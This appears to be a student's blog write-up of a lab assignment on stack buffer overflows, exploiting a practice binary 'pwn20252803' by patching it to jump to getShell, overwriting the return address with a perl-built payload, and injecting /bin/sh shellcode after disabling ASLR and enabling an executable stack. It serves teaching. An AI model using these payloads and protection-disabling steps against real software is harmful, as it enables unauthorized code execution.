nanfenglinyan

 

20252803 2025-2026-2 《网络攻防实践》第9周作业

20252803 2025-2026-2 《网络攻防实践》第9周作业

1 实践内容

1.1 缓冲区溢出核心原理

缓冲区溢出的核心原理是,在程序未对用户输入做长度校验、存在可写入缓冲区的攻击前提下,攻击者构造超长恶意数据,覆盖栈上的函数返回地址,并将其篡改为恶意代码(Shellcode)的内存地址,待函数执行完毕后,程序会跳转到 Shellcode 执行,从而让攻击者获取系统控制权,这一过程需掌握栈的结构(缓冲区、EBP、函数返回地址)、指令执行流程、内存寻址机制等关键知识。

1.2 主流平台溢出利用技术

主流平台溢出利用技术各有侧重,Linux 平台栈溢出的核心是定位缓冲区地址,构造 payload 覆盖返回地址并跳转至 Shellcode,关键在于借助 JMP ESP 等指令精准跳转,适配系统内存布局;Windows 平台栈溢出原理与 Linux 一致,但因系统安全机制、内存管理不同,利用细节存在差异,经典技巧是从系统 DLL 中查找 JMP ESP 指令,绕过早期内存地址随机化的限制;堆溢出则是针对堆内存的溢出攻击,难度高于栈溢出,需利用堆管理机制漏洞实现代码执行,是高级漏洞利用的核心技术,多用于复杂渗透场景。

1.3 缓冲区溢出防御技术

针对缓冲区溢出的防御技术主要分为系统级和开发级,系统级防护包括栈不可执行(DEP),禁止栈区执行代码以阻断溢出后代码运行;地址随机化(ASLR),随机化程序内存地址,使攻击者无法精准定位 Shellcode;栈金丝雀(Canary),在栈中插入校验值,检测溢出行为;开发级防护则要求遵循安全编码规范,严格校验输入长度,禁用 strcpy 等不安全函数,同时开启编译器的栈保护、边界检查等安全选项,从源头降低溢出风险。

2 实践过程

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 按照实验要求修改文件名为学号20252803,kali虚拟机主机名为自己姓名tengsen
sudo hostnamectl set-hostname tengsen

image
image

  • 进入目标文件所在的文件夹,把pwn20252803这个程序的汇编代码反汇编出来,并且分页显示,方便逐行查看。
cd ~/Desktop
objdump -d pwn20252803 | more

命令解释:
objdump:Linux 下的反汇编工具,用来把二进制可执行文件翻译成汇编代码。
-d:反汇编代码段(只反汇编程序执行的指令,不显示其他数据)。
pwn20252803
你要分析的带学号的可执行文件名(实验要求必须带学号)。
| more:管道符 + 分页工具作用,让反汇编内容一页一页显示,不会一下子刷屏看不见。
image

  • 往下翻可以看到三个关键函数。getShell函数、foo函数和main函数。可以发现main 函数会主动调用foo,但程序里没有任何地方主动调用getShell。
    漏洞点:foo 里的 gets() 函数导致栈溢出
    攻击目标:利用栈溢出覆盖foo的返回地址,让程序执行完foo后,不回到main,而是跳转到getShell函数,从而拿到Shell。
    确定getShell地址:0x0804847d
    image

  • 打开pwn20252803文件,显示乱码后使用指令改成以16进制的形式打开。

vim pwn20252803
%!xxd

image
image

  • 修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。找到需要修改的地方,将d7 改为 c3。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。
    image
    image
    image

  • 恢复再次把pwn20252803这个程序的汇编代码反汇编出来,发现确实已经修改。

objdump -d pwn20252803 | more

image

  • 运行pwn20252803程序,出现 /bin/sh,代表拿到shell,实验成功!
    image

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注意:先要还原原文件pwn20252803

  • 使用gdb工具调试程序,先需要安装gdb,一直选择yes即可安装。
gdb pwn20252803

image

  • 查看程序信息。发现foo函数存在漏洞,超出部分将发生溢出,实验目标是覆盖返回地址。
    缓冲区的起始地址是 ebp - 0x1c
    返回地址的地址是 ebp + 4
    两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
objdump -d pwn20252803 | more

image

  • 使用gdb工具调试程序。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535 。
    image
    image

  • 输入字符串 1111111122222222333333334444444412345678,那 1234 这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。
    image

  • 前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20252803tengsen_attack文件中

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252803tengsen_attack
xxd 20252803tengsen_attack

image

  • 将20252803tengsen_attack中的内容注入到pwn20252803中。输入常见指令测试是否拿到shell,成功!
(cat 20252803tengsen_attack; cat) | ./pwn20252803

命令解释:
cat 20252803tengsen_attack(读取提前做好的攻击文件,里面是溢出用的恶意字符串)
;(分隔两个命令,先运行前面,再运行后面)
cat(空读取,保持终端不关闭,如果不加这个,程序执行完 shell 会直接闪退,来不及操作)
|(管道符,把前面输出的内容喂给程序当输入)
./pwn20252803(运行目标漏洞程序)
整句合起来的意思:先把攻击 payload 发送给漏洞程序,触发缓冲区溢出拿到 shell,然后保持 shell 窗口打开不退出,让可以正常使用命令
image

2.3 注入一个自己制作的shellcode并运行这段shellcode。

  • 安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image
image

  • 设置pwn20252803程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20252803
execstack -q pwn20252803

image

  • 查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image

  • 使用输出重定向将perl生成的字符串存储到attack_20252803文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252803

image

  • 文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252803进程号为64065
#终端1
(cat attack_20252803;cat) | ./pwn20252803
#终端2
ps -ef | grep pwn20252803

image

  • 再开一个终端对pwn20252803文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。
gdb pwn20252803
attach 64065
disassemble foo
break *0x080484ae

image

  • 终端1按回车后,再终端3输入c 继续运行。查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70。
info r esp
x/16x 0xffffcf6c

image

  • 退出gbd调试,重新构造 attack_20252803文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20252803
(cat attack_20252803;cat) | ./pwn20252803
ls

image

3 学习中遇到的问题及解决

  • 问题一:运行 pwn 程序提示 permission denied 权限拒绝解决:Linux 系统二进制可执行文件默认无执行权限,使用 chmod +x pwn20252803 为文件添加执行权限,授权后可正常运行和调试程序。
  • 问题二:修改虚拟机主机名后,执行 sudo 命令提示无法解析主机解决:修改主机名后未同步写入 /etc/hosts 文件,系统无法识别本机主机名。通过编辑 /etc/hosts,添加 127.0.1.1 tengsen 映射关系,保存后重启终端,sudo 解析警告消失。
  • 问题三:使用 vim 十六进制编辑可执行文件时,不懂格式转换导致文件损坏解决:先以普通方式打开文件,输入 :%!xxd 切换为十六进制编辑模式,修改机器码后执行 :%!xxd -r 还原二进制格式再保存,避免直接保存造成文件格式损坏,保证程序可正常运行。

4 实践总结与体会

本次网络攻防缓冲区溢出实践,围绕 Linux 下 pwn 漏洞程序完成了三项核心任务:手工修改可执行文件跳转执行 getShell 函数、利用 FOO 函数栈溢出漏洞构造 Payload 覆盖返回地址获取 Shell、自主编写并注入 Shellcode 实现代码执行,完整掌握了缓冲区溢出的原理、利用流程与防护机制。
通过实验深入理解了栈帧结构、EBP、ESP、函数返回地址的分工与布局,明白了不安全函数gets不做输入长度校验是缓冲区溢出的核心诱因;掌握了objdump反汇编、GDB 动态调试、vim 十六进制编辑、Perl 生成恶意载荷等工具的使用方法,能够精准计算缓冲区偏移量、小端序地址构造、定位函数内存地址,独立完成溢出攻击全过程。
实践过程中也意识到网络攻防严谨性极强,地址偏移、字节序、权限配置、环境保护机制任一环节出错都会导致攻击失败。后续会继续夯实汇编基础、栈结构原理与漏洞利用技巧,提升二进制漏洞分析、调试排查和安全防护的综合实践能力。

posted on 2026-05-07 16:13  南风~林炎  阅读(33)  评论(0)    收藏  举报

导航